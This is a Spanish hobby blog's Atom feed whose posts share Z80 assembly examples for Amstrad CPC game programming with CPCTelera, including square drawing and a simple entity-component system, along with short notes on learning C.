<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8709076290827103618</id><updated>2024-09-14T16:55:22.407-07:00</updated><category term="PRL excel curso"/><category term="banco"/><category term="calculo"/><category term="curso"/><category term="depositfiles premium cuenta"/><category term="escaner ubuntu genius driver"/><category term="interes"/><category term="java"/><category term="navidad loteria salud"/><category term="obra trabajo cusro laboral"/><category term="poker holdem dinero television don carta"/><category term="serie blog recomendacion"/><category term="ubuntu junta andalucia certificado digital 11.04"/><category term="wii rom pokemon"/><category term="wii roms backup homebrew disck"/><category term="wiiware tienda wii juego"/><category term="windows ubuntu sonido"/><title type='text'>ay va dios</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>52</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-6725338092226776514</id><published>2022-11-18T01:23:00.002-08:00</published><updated>2022-11-18T01:23:17.410-08:00</updated><title type='text'>Dos años hace</title><content type='html'>&lt;p&gt;&amp;nbsp;Que empecé a programar para cpc. He publicado dos juegos. Y ahora voy a empezar otro en c.&amp;nbsp;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/6725338092226776514/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2022/11/dos-anos-hace.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/6725338092226776514'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/6725338092226776514'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2022/11/dos-anos-hace.html' title='Dos años hace'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-7846993038661426424</id><published>2022-08-23T13:29:00.000-07:00</published><updated>2022-08-23T13:29:00.110-07:00</updated><title type='text'>Automodificable</title><content type='html'>&lt;p&gt;Ld a,#5;;1&lt;/p&gt;&lt;p&gt;Ld (valor), a&lt;/p&gt;&lt;p&gt;Ld a,#6;;2&lt;/p&gt;&lt;p&gt;Ld (valor),a&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;Valor=.+1&lt;/p&gt;&lt;p&gt;Ld a,#0&lt;/p&gt;&lt;p&gt;;; En primer caso, valor es 1&lt;/p&gt;&lt;p&gt;;;En segundo caso, valor es 2&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/7846993038661426424/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2022/08/automodificable.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/7846993038661426424'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/7846993038661426424'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2022/08/automodificable.html' title='Automodificable'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-9115475465803770491</id><published>2021-06-26T13:38:00.001-07:00</published><updated>2021-06-26T13:38:13.479-07:00</updated><title type='text'>Subo a github</title><content type='html'>&lt;p&gt;&amp;nbsp;Intento tener el programa o juego en GitHub. Es lo más fácil que conozco para intercambiarlo.&amp;nbsp;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/9115475465803770491/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2021/06/subo-github.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/9115475465803770491'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/9115475465803770491'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2021/06/subo-github.html' title='Subo a github'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-5742888914873463932</id><published>2021-06-24T05:12:00.001-07:00</published><updated>2021-06-24T05:12:07.665-07:00</updated><title type='text'>Más rápido comparar con 0?</title><content type='html'>&lt;p&gt;&amp;nbsp;Me pregunto , supongamos el caso de una entidad, con posición x, igual a 4.&lt;/p&gt;&lt;p&gt;Le vamos restando una unidad. Cuando llegue a 0, impedimos que se reste más, antes o en esta comprobación.&lt;/p&gt;&lt;p&gt;Si x llega a -1, se pone a 0. En un número U8(sin signo), esto no es posible.&amp;nbsp;&lt;/p&gt;&lt;p&gt;En tal caso, en ensamblador¿ sería más óptimo&amp;nbsp; comparar con 0(jz) o con Carry(JC).?&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/5742888914873463932/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2021/06/mas-rapido-comparar-con-0.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/5742888914873463932'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/5742888914873463932'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2021/06/mas-rapido-comparar-con-0.html' title='Más rápido comparar con 0?'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-2761180737457589002</id><published>2021-06-23T02:10:00.002-07:00</published><updated>2021-06-23T02:10:50.408-07:00</updated><title type='text'>Ahora,en C</title><content type='html'>Ahora, aprendiendo C, todo es más fácil de entender y programar.&lt;div&gt;Espero me sirva como trampolín para hacer el primer juego para Cpc.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/2761180737457589002/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2021/06/ahoraen-c.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/2761180737457589002'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/2761180737457589002'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2021/06/ahoraen-c.html' title='Ahora,en C'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-194252637586409153</id><published>2021-02-12T09:39:00.003-08:00</published><updated>2021-02-12T09:39:57.726-08:00</updated><title type='text'>ECS  mejorado en Ensamblador para CPC</title><content type='html'>&lt;p&gt;&amp;nbsp;Esta vez pongo un pequeño programa, como base para le expansion de&amp;nbsp; un ECS. Esta creado en ensamblador. tiene pocos comentarios, espero os sirva.&lt;/p&gt;&lt;p&gt;.module cpct_functions.h.s&lt;br /&gt;&lt;br /&gt;.globl cpct_disableFirmware_asm&lt;br /&gt;.globl cpct_waitVSYNC_asm&lt;br /&gt;.globl cpct_scanKeyboard_f_asm&lt;br /&gt;.globl cpct_isKeyPressed_asm&lt;br /&gt;.globl cpct_setVideoMode_asm&lt;br /&gt;.globl cpct_drawSolidBox_asm&lt;br /&gt;.globl cpct_getScreenPtr_asm&lt;br /&gt;.globl cpct_drawSprite_asm&lt;br /&gt;.module main.s&lt;br /&gt;.include &quot;cpctelera.h.s&quot;&lt;br /&gt;.include &quot;cpct_functions.h.s&quot;&lt;br /&gt;.include &quot;man/game.h.s&quot;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;.area _DATA&lt;br /&gt;.area _CODE&lt;br /&gt;&lt;br /&gt;_main::&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;;desactiva firmware&lt;br /&gt;call cpct_disableFirmware_asm&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;;init game manager&lt;br /&gt;call man_game_init&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;loop forever&lt;br /&gt;loop:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; call man_game_update&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;waitNVsyncs 2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; call cpct_waitVSYNC_asm&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; call man_game_render&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; jr loop&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/194252637586409153/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2021/02/ecs-mejorado-en-ensamblador-para-cpc.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/194252637586409153'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/194252637586409153'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2021/02/ecs-mejorado-en-ensamblador-para-cpc.html' title='ECS  mejorado en Ensamblador para CPC'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-1190021384669427984</id><published>2020-12-08T03:11:00.000-08:00</published><updated>2020-12-08T03:11:09.514-08:00</updated><title type='text'>creacion de entidades con un ECS usando CPCTelera</title><content type='html'>&lt;p&gt;pequeñito ejemplo de como, usndo en entity component system (ECS), se crean dos entidades distintas, y se pintan en pantalla.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;;;main.s&lt;/p&gt;&lt;p&gt;;; ejemplo de dibujado simple de cuadrados&lt;/p&gt;&lt;p&gt;.module main.s&lt;/p&gt;&lt;p&gt;.include &quot;cpctelera.h.s&quot;&lt;/p&gt;&lt;p&gt;.area _DATA&lt;/p&gt;&lt;p&gt;.area _CODE&lt;/p&gt;&lt;p&gt;;;declaracion de globales&lt;/p&gt;&lt;p&gt;.globl cpct_disableFirmware_asm&lt;/p&gt;&lt;p&gt;.globl cpct_getScreenPtr_asm&lt;/p&gt;&lt;p&gt;.globl cpct_drawSolidBox_asm&lt;/p&gt;&lt;p&gt;.globl cpct_waitVSYNC_asm&lt;/p&gt;&lt;p&gt;.globl entityman_create&lt;/p&gt;&lt;p&gt;.globl rendersys_update&lt;/p&gt;&lt;p&gt;.globl _entity_array&lt;/p&gt;&lt;p&gt;.globl _num_entities&lt;/p&gt;&lt;p&gt;.globl entityman_getEntityArray_IX&lt;/p&gt;&lt;p&gt;.globl rendersys_init&lt;/p&gt;&lt;p&gt;.globl entityman_getNumEntities_A&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;;;declaracion de etiquetas,constantes&lt;/p&gt;&lt;p&gt;;;x,y,ancho,alto,color,velocidad x,vy&lt;/p&gt;&lt;p&gt;player: .db 20,20,04,16,0xff,0,0&lt;/p&gt;&lt;p&gt;enemy:&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;.db 30,30,06,16,0xf0,0,0&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;;;principal&lt;/p&gt;&lt;p&gt;_main::&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;;; Disable firmware to prevent it from interfering with string drawing&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;call cpct_disableFirmware_asm&lt;/p&gt;&lt;p&gt;;;INIT SYSTEMS&lt;/p&gt;&lt;p&gt;call rendersys_init&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;ld hl,#player&lt;/p&gt;&lt;p&gt;call entityman_create&lt;/p&gt;&lt;p&gt;ld hl,#enemy&lt;/p&gt;&lt;p&gt;call entityman_create&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;loop:&lt;/p&gt;&lt;p&gt;call entityman_getEntityArray_IX&lt;/p&gt;&lt;p&gt;call entityman_getNumEntities_A&lt;/p&gt;&lt;p&gt;call rendersys_update&lt;/p&gt;&lt;p&gt;jr loop&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;parate:&lt;/p&gt;&lt;p&gt;jp parate&lt;/p&gt;&lt;div&gt;&lt;div&gt;;;&lt;/div&gt;&lt;div&gt;;;render system&lt;/div&gt;&lt;div&gt;.module render_system.s&lt;/div&gt;&lt;div&gt;.globl cpct_getScreenPtr_asm&lt;/div&gt;&lt;div&gt;.globl cpct_drawSolidBox_asm&lt;/div&gt;&lt;div&gt;.globl entity_size&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;rendersys_init::&lt;/div&gt;&lt;div&gt;ret&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;;;input registro ix puntero a entidad&amp;nbsp;&lt;/div&gt;&lt;div&gt;;;a numero de entidades a render&lt;/div&gt;&lt;div&gt;rendersys_update::&lt;/div&gt;&lt;div&gt;;;dibujado de cuadrados en pantalla, incrementando x e y a cada paso&lt;/div&gt;&lt;div&gt;render_loop:&lt;/div&gt;&lt;div&gt;push af&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ld de,#0xc000&lt;span style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;;;principio memoria video&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ld b,1(ix)&lt;span style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;;;carga x&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ld c,0(ix)&lt;span style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;;;carga y&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;call cpct_getScreenPtr_asm&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;;;funcio9n para localizar x e y en pantalla&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;ex de,HL &lt;span style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;;;intercambia de y hl&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ld a,4(ix) &lt;span style=&quot;white-space: pre;&quot;&gt;					&lt;/span&gt;;;color cuadrado&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ld b,3(ix)&lt;span style=&quot;white-space: pre;&quot;&gt;				&lt;/span&gt;;;tamaño cuadrado;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;call cpct_drawSolidBox_asm&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;;;funcion dibujado cuadrado&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ld c,2(ix)&lt;span style=&quot;white-space: pre;&quot;&gt;				&lt;/span&gt;;; c alto, b ancho&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;call cpct_drawSolidBox_asm&lt;/div&gt;&lt;div&gt;pop af&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;dec a&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ret z&lt;/div&gt;&lt;div&gt;ld bc,#entity_size&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;add ix,bc&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;jr render_loop&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;ret&lt;/div&gt;&lt;div&gt;&lt;div&gt;.module entity_manager.s&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;entity_size&amp;nbsp; == 7&lt;span style=&quot;white-space: pre;&quot;&gt;					&lt;/span&gt;;;tamaño de cada entidad&lt;/div&gt;&lt;div&gt;max_entities == 3&lt;span style=&quot;white-space: pre;&quot;&gt;					&lt;/span&gt;;;numero maximo de entidades&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;_num_entities:: &lt;span style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;.db 0&lt;span style=&quot;white-space: pre;&quot;&gt;				&lt;/span&gt;;;entidades creadas al principio,0&lt;/div&gt;&lt;div&gt;_last_element_ptr:: &lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;.dw _entity_array&lt;/div&gt;&lt;div&gt;_entity_array::&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;.ds entity_size*max_entities&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;;;creacion de espacio para entidades,tamaño por numero&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;entityman_getEntityArray_IX::&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ld ix,#_entity_array&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ret&lt;/div&gt;&lt;div&gt;entityman_getNumEntities_A::&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ld a,(_num_entities)&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ret&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;;;input&lt;/div&gt;&lt;div&gt;;;hl-&amp;gt;puntero a entidad ejemplo&lt;/div&gt;&lt;div&gt;entityman_create::&lt;/div&gt;&lt;div&gt;ld de,(_last_element_ptr)&lt;span style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;;;creacion de nueva entidad,&lt;/div&gt;&lt;div&gt;ld bc,#entity_size&lt;span style=&quot;white-space: pre;&quot;&gt;					&lt;/span&gt;;;de a puntero de ultima entidad&lt;/div&gt;&lt;div&gt;ldir&lt;span style=&quot;white-space: pre;&quot;&gt;								&lt;/span&gt;;;bc tamaño de la entidad&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;ld a,(_num_entities)&lt;span style=&quot;white-space: pre;&quot;&gt;				&lt;/span&gt;;;incrementa en uno el numero de entidades&lt;/div&gt;&lt;div&gt;inc a&lt;/div&gt;&lt;div&gt;ld (_num_entities),a&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;ld hl,(_last_element_ptr)&lt;/div&gt;&lt;div&gt;ld bc,#entity_size&lt;/div&gt;&lt;div&gt;add hl,bc&lt;/div&gt;&lt;div&gt;ld (_last_element_ptr),hl&lt;/div&gt;&lt;div&gt;ret&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/1190021384669427984/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2020/12/creacion-de-entidades-con-un-ecs-usando.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/1190021384669427984'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/1190021384669427984'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2020/12/creacion-de-entidades-con-un-ecs-usando.html' title='creacion de entidades con un ECS usando CPCTelera'/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8709076290827103618.post-6751050346230311772</id><published>2020-12-06T07:47:00.000-08:00</published><updated>2020-12-06T07:47:02.587-08:00</updated><title type='text'>Dibujo cuadrado </title><content type='html'>&lt;p&gt;rutina para dibujar unos sencillos cuadrados, incrementando x e y en 1 a cada paso&lt;/p&gt;&lt;p&gt;&amp;nbsp;;;&lt;/p&gt;&lt;p&gt;;; ejemplo de dibujado simple de cuadrados&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;.module main.s&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;.include &quot;cpctelera.h.s&quot;&lt;/p&gt;&lt;p&gt;.area _DATA&lt;/p&gt;&lt;p&gt;.area _CODE&lt;/p&gt;&lt;p&gt;;;declaracion de globales&lt;/p&gt;&lt;p&gt;.globl cpct_disableFirmware_asm&lt;/p&gt;&lt;p&gt;.globl cpct_getScreenPtr_asm&lt;/p&gt;&lt;p&gt;.globl cpct_drawSolidBox_asm&lt;/p&gt;&lt;p&gt;.globl cpct_waitVSYNC_asm&lt;/p&gt;&lt;p&gt;;;declaracion de etiquetas,constantes&lt;/p&gt;&lt;p&gt;x: .db #20&lt;span style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;&lt;/p&gt;&lt;p&gt;y: .db #12&lt;/p&gt;&lt;p&gt;;;principal&lt;/p&gt;&lt;p&gt;_main::&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;;; Disable firmware to prevent it from interfering with string drawing&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;call cpct_disableFirmware_asm&lt;/p&gt;&lt;p&gt;;;dibujado de cuadrados en pantalla, incrementando x e y a cada paso&lt;/p&gt;&lt;p&gt;loop:&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ld de,#0xc000&lt;span style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;;;principio memoria video&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ld hl,#x&lt;span style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;;;carga en hl el valor de x&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ld b,(hl)&lt;span style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;;;pasa a b&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;inc (hl)&lt;span style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;;;el valor de hl, HL=HL+1&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;inc HL &lt;span style=&quot;white-space: pre;&quot;&gt;				&lt;/span&gt;;;hl=hl+1&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ld c,(hl)&lt;span style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;;;pasa a c&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;inc (hl)&lt;span style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;;;valor de hl +1&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;call cpct_getScreenPtr_asm&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;;;funcio9n para localizar x e y en pantalla&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;ex de,HL &lt;span style=&quot;white-space: pre;&quot;&gt;			&lt;/span&gt;;;intercambia de y hl&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ld a,#0xff &lt;span style=&quot;white-space: pre;&quot;&gt;					&lt;/span&gt;;;color cuadrado&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;ld bc,#0x0804&lt;span style=&quot;white-space: pre;&quot;&gt;				&lt;/span&gt;;;tamaño cuadrado&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;call cpct_drawSolidBox_asm&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;;;funcion dibujado cuadrado&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;call cpct_waitVSYNC_asm&lt;span style=&quot;white-space: pre;&quot;&gt;		&lt;/span&gt;;;funcion espera a retrazado&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&lt;span style=&quot;white-space: pre;&quot;&gt;	&lt;/span&gt;;; Loop forever&lt;/p&gt;&lt;p&gt;jr&amp;nbsp; &amp;nbsp; loop &lt;span style=&quot;white-space: pre;&quot;&gt;						&lt;/span&gt;;;salta a bucle loop&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayvadios.blogspot.com/feeds/6751050346230311772/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ayvadios.blogspot.com/2020/12/dibujo-cuadrado.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/6751050346230311772'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8709076290827103618/posts/default/6751050346230311772'/><link rel='alternate' type='text/html' href='http://ayvadios.blogspot.com/2020/12/dibujo-cuadrado.html' title='Dibujo cuadrado '/><author><name>raul</name><uri>http://www.blogger.com/profile/09682677312131647739</uri><email>noreply@blogger.com</email><gd:image 